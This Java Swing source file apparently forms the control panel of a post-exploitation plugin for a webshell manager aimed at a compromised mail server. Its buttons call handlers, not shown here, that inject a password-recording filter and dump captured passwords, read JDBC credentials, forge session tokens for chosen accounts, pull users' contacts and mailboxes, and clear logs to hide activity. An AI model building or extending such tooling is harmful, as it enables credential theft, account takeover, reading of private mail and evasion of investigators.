/*
 * Click nbfs://nbhost/SystemFileSystem/Templates/Licenses/license-default.txt to change this license
 * Click nbfs://nbhost/SystemFileSystem/Templates/GUIForms/JPanel.java to edit this template
 */
package com.theplutin;
import com.theplutin.handler.*;
import com.theplutin.Util.*;
import core.Encoding;
import core.imp.Payload;

/**
 *
 * @author Administrator
 */
public class UI extends javax.swing.JPanel {

    public Payload payload;
    public Encoding encoding;
    /**
     * Creates new form UI
     */
    public UI() {
        initComponents();
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">
    private void initComponents() {

        jPanel3 = new javax.swing.JPanel();
        JDBCButton = new javax.swing.JButton();
        RecordPasswordButton = new javax.swing.JButton();
        GetPasswordButton = new javax.swing.JButton();
        LogClearButton = new javax.swing.JButton();
        jPanel1 = new javax.swing.JPanel();
        GetUserListButton = new javax.swing.JButton();
        GetTokenButton = new javax.swing.JButton();
        GetUserInfoButton = new javax.swing.JButton();
        GetContactsButton = new javax.swing.JButton();
        UserFilterText = new javax.swing.JTextField();
        jPanel2 = new javax.swing.JPanel();
        MailFilterText = new javax.swing.JTextField();
        GetMailButton = new javax.swing.JButton();
        SaveMailButton = new javax.swing.JButton();
        jScrollPane2 = new javax.swing.JScrollPane();
        OutputTextArea = new javax.swing.JTextArea();
        label1 = new java.awt.Label();

        JDBCButton.setText("GetJDBCInfo");
        JDBCButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                JDBCButtonMouseClicked(evt);
            }
        });

        RecordPasswordButton.setText("RecordPassword");
        RecordPasswordButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                RecordPasswordButtonMouseClicked(evt);
            }
        });

        GetPasswordButton.setText("GetRecordPassword");
        GetPasswordButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                GetPasswordButtonMouseClicked(evt);
            }
        });

        LogClearButton.setText("ClearLog");
        LogClearButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                LogClearButtonMouseClicked(evt);
            }
        });

        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
        jPanel3.setLayout(jPanel3Layout);
        jPanel3Layout.setHorizontalGroup(
                jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(jPanel3Layout.createSequentialGroup()
                                .addGap(34, 34, 34)
                                .addComponent(JDBCButton, javax.swing.GroupLayout.PREFERRED_SIZE, 249, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(42, 42, 42)
                                .addComponent(RecordPasswordButton, javax.swing.GroupLayout.PREFERRED_SIZE, 274, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 41, Short.MAX_VALUE)
                                .addComponent(GetPasswordButton, javax.swing.GroupLayout.PREFERRED_SIZE, 249, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(18, 18, 18)
                                .addComponent(LogClearButton, javax.swing.GroupLayout.PREFERRED_SIZE, 241, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addContainerGap())
        );
        jPanel3Layout.setVerticalGroup(
                jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(jPanel3Layout.createSequentialGroup()
                                .addGap(15, 15, 15)
                                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                        .addComponent(GetPasswordButton)
                                        .addComponent(LogClearButton)
                                        .addComponent(RecordPasswordButton)
                                        .addComponent(JDBCButton)))
        );

        jPanel1.setBorder(new javax.swing.border.LineBorder(new java.awt.Color(204, 204, 204), 1, true));
        jPanel1.setForeground(new java.awt.Color(255, 255, 255));
        jPanel1.setPreferredSize(new java.awt.Dimension(1195, 95));

        GetUserListButton.setText("GetUserList");
        GetUserListButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                GetUserListButtonMouseClicked(evt);
            }
        });

        GetTokenButton.setText("GenerateSession");
        GetTokenButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                GetTokenButtonMouseClicked(evt);
            }
        });

        GetUserInfoButton.setText("GetUserDetails");
        GetUserInfoButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                GetUserInfoButtonMouseClicked(evt);
            }
        });

        GetContactsButton.setText("GetContacts");
        GetContactsButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                GetContactsButtonMouseClicked(evt);
            }
        });

        UserFilterText.setText("admin@mm.test233.com");

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
                jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(jPanel1Layout.createSequentialGroup()
                                .addGap(21, 21, 21)
                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                        .addComponent(GetUserListButton, javax.swing.GroupLayout.PREFERRED_SIZE, 323, javax.swing.GroupLayout.PREFERRED_SIZE)
                                        .addComponent(GetUserInfoButton, javax.swing.GroupLayout.PREFERRED_SIZE, 323, javax.swing.GroupLayout.PREFERRED_SIZE))
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 34, Short.MAX_VALUE)
                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                        .addComponent(GetTokenButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 336, javax.swing.GroupLayout.PREFERRED_SIZE)
                                        .addComponent(GetContactsButton, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.PREFERRED_SIZE, 336, javax.swing.GroupLayout.PREFERRED_SIZE))
                                .addGap(56, 56, 56)
                                .addComponent(UserFilterText, javax.swing.GroupLayout.PREFERRED_SIZE, 355, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(18, 18, 18))
        );
        jPanel1Layout.setVerticalGroup(
                jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(jPanel1Layout.createSequentialGroup()
                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                                        .addGroup(jPanel1Layout.createSequentialGroup()
                                                .addContainerGap()
                                                .addComponent(UserFilterText, javax.swing.GroupLayout.PREFERRED_SIZE, 79, javax.swing.GroupLayout.PREFERRED_SIZE))
                                        .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
                                                .addGap(20, 20, 20)
                                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                                        .addComponent(GetUserListButton)
                                                        .addComponent(GetTokenButton))
                                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                                                        .addComponent(GetContactsButton)
                                                        .addComponent(GetUserInfoButton))))
                                .addGap(0, 9, Short.MAX_VALUE))
        );

        MailFilterText.setText("inbox=admin@mm.test233.com");

        GetMailButton.setText("GetMails");
        GetMailButton.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                GetMailButtonMouseClicked(evt);
            }
        });

        SaveMailButton.setText("Save As");

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
                jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(jPanel2Layout.createSequentialGroup()
                                .addGap(97, 97, 97)
                                .addComponent(MailFilterText, javax.swing.GroupLayout.PREFERRED_SIZE, 762, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(31, 31, 31)
                                .addComponent(GetMailButton)
                                .addGap(18, 18, 18)
                                .addComponent(SaveMailButton)
                                .addContainerGap(19, Short.MAX_VALUE))
        );
        jPanel2Layout.setVerticalGroup(
                jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(jPanel2Layout.createSequentialGroup()
                                .addGap(17, 17, 17)
                                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                        .addComponent(MailFilterText, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                        .addComponent(GetMailButton)
                                        .addComponent(SaveMailButton)))
        );

        OutputTextArea.setColumns(20);
        OutputTextArea.setRows(5);
        jScrollPane2.setViewportView(OutputTextArea);

        label1.setFont(new java.awt.Font("Dialog", 0, 20)); // NOI18N
        label1.setText("Mail Filter :");

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
        this.setLayout(layout);
        layout.setHorizontalGroup(
                layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(layout.createSequentialGroup()
                                .addGap(12, 12, 12)
                                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                                        .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 1154, javax.swing.GroupLayout.PREFERRED_SIZE)
                                        .addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                        .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                                                .addComponent(label1, javax.swing.GroupLayout.PREFERRED_SIZE, 121, javax.swing.GroupLayout.PREFERRED_SIZE)
                                                .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, 1145, javax.swing.GroupLayout.PREFERRED_SIZE)))
                                .addGap(0, 54, Short.MAX_VALUE))
                        .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()
                                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                                .addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(0, 0, Short.MAX_VALUE))
        );
        layout.setVerticalGroup(
                layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                        .addGroup(layout.createSequentialGroup()
                                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                                        .addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                        .addComponent(label1, javax.swing.GroupLayout.PREFERRED_SIZE, 34, javax.swing.GroupLayout.PREFERRED_SIZE))
                                .addGap(18, 18, 18)
                                .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, 105, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                                .addComponent(jPanel3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(18, 18, 18)
                                .addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 531, javax.swing.GroupLayout.PREFERRED_SIZE)
                                .addGap(45, 45, 45))
        );
    }// </editor-fold>

    private void JDBCButtonMouseClicked(java.awt.event.MouseEvent evt) {
        Log.clear(OutputTextArea);
        DBInfo dbInfo = new DBInfo();
        dbInfo.init(this.encoding,this.payload);
        String dbinfo = dbInfo.handler();
        Log.addtitle("JDBC Connection Information ：", OutputTextArea);
        Log.adddata(dbinfo, OutputTextArea);
    }

    private void RecordPasswordButtonMouseClicked(java.awt.event.MouseEvent evt) {
        Log.clear(OutputTextArea);
        RecordPassword recordPassword = new RecordPassword();
        recordPassword.init(this.encoding,this.payload);
        String record = recordPassword.handler();
        if(record.equals("success")){
            Log.addtitle("Success Inject Record Password Filter ", OutputTextArea);
        }else{
            Log.addtitle("The password is already in the record ", OutputTextArea);
        }

    }

    private void GetPasswordButtonMouseClicked(java.awt.event.MouseEvent evt) {
        Log.clear(OutputTextArea);
        GetPassword getPassword = new GetPassword();
        getPassword.init(this.encoding,this.payload);
        String allpassword = getPassword.handler();
        Log.addtitle("All Record UserPassword :",OutputTextArea);
        Log.adddata(allpassword, OutputTextArea);
    }

    private void LogClearButtonMouseClicked(java.awt.event.MouseEvent evt) {
        Log.clear(OutputTextArea);
        String clearresult = ClearLog.handler();
        Log.addtitle(" Success Clear Logs :",OutputTextArea);
        Log.adddata(clearresult, OutputTextArea);
    }

    private void GetUserListButtonMouseClicked(java.awt.event.MouseEvent evt) {
        Log.clear(OutputTextArea);
        GetUserList getUserList = new GetUserList();
        getUserList.init(this.encoding,this.payload);
        String userlist = getUserList.handler();
        Log.addtitle(" All User List :",OutputTextArea);
        Log.adddata(userlist, OutputTextArea);
    }

    private void GetTokenButtonMouseClicked(java.awt.event.MouseEvent evt) {
        String user = UserFilterText.getText();
        if(user == null || user.equals("")){
            //弹窗警告
        }else{
            Log.clear(OutputTextArea);
            GetToken getToken = new GetToken();
            getToken.init(this.encoding,this.payload);
            String usertoken = getToken.handler(user);
            Log.addtitle(" Success generate Token :",OutputTextArea);
            Log.adddata(usertoken, OutputTextArea);
        }

    }

    private void GetUserInfoButtonMouseClicked(java.awt.event.MouseEvent evt) {
        String user = UserFilterText.getText();
        if(user == null || user.equals("")){
            //弹窗警告
        }else{
            Log.clear(OutputTextArea);
            GetPersonalInfo getPersonalInfo = new GetPersonalInfo();
            getPersonalInfo.init(this.encoding,this.payload);
            String userinfo = getPersonalInfo.handler(user);
            Log.addtitle(" Select UserInfo :",OutputTextArea);
            Log.adddata(userinfo, OutputTextArea);
        }
    }

    private void GetContactsButtonMouseClicked(java.awt.event.MouseEvent evt) {
        String user = UserFilterText.getText();
        if(user == null || user.equals("")){
            //弹窗警告
        }else{
            Log.clear(OutputTextArea);
            GetContacts getContacts = new GetContacts();
            getContacts.init(this.encoding,this.payload);
            String usertoken = getContacts.handler(user);
            Log.addtitle(" Success get Contacts :",OutputTextArea);
            Log.adddata(usertoken, OutputTextArea);
        }
    }

    private void GetMailButtonMouseClicked(java.awt.event.MouseEvent evt) {
        String mailfilter = MailFilterText.getText();
        MailHandler mailHandler = new MailHandler();
        mailHandler.init(this.encoding,this.payload);
        //inbox=admin@mm.test233.com 获取某个人收件箱 发件箱
        //send=admin@mm.test233.com 获取某个人收件箱 发件箱
        //date=after:"01/09/2024" before:"01/15/2024" 按照日期过滤某个账户下所有邮件
        //根据id获取邮件详情
        if(mailfilter == null || mailfilter.equals("")){
            //弹窗警告
        }else{
            Log.clear(OutputTextArea);
            if(mailfilter.startsWith("date")){
                String date = mailfilter.replace("date=","");
                String username = UserFilterText.getText();
                String resp = mailHandler.getmailbydate(date,username);
                Log.addtitle(" Mails :",OutputTextArea);
                Log.adddata(resp, OutputTextArea);
            }else if (mailfilter.contains("inbox")){
                String inbox = mailfilter.replace("inbox=","");
                String resp = mailHandler.getinbox(inbox);
                Log.addtitle(" Mails :",OutputTextArea);
                Log.adddata(resp, OutputTextArea);
            }else if (mailfilter.startsWith("send")){
                String send = mailfilter.replace("send=","");
                String resp = mailHandler.getsend(send);
                Log.addtitle(" Mails :",OutputTextArea);
                Log.adddata(resp, OutputTextArea);
            }else {
                Log.addtitle("Please enter expected data",OutputTextArea);
            }


        }
    }


    // Variables declaration - do not modify
    private javax.swing.JButton GetContactsButton;
    private javax.swing.JButton GetMailButton;
    private javax.swing.JButton GetPasswordButton;
    private javax.swing.JButton GetTokenButton;
    private javax.swing.JButton GetUserInfoButton;
    private javax.swing.JButton GetUserListButton;
    private javax.swing.JButton JDBCButton;
    private javax.swing.JButton LogClearButton;
    private javax.swing.JTextField MailFilterText;
    private javax.swing.JTextArea OutputTextArea;
    private javax.swing.JButton RecordPasswordButton;
    private javax.swing.JButton SaveMailButton;
    private javax.swing.JTextField UserFilterText;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JScrollPane jScrollPane2;
    private java.awt.Label label1;
    // End of variables declaration
}
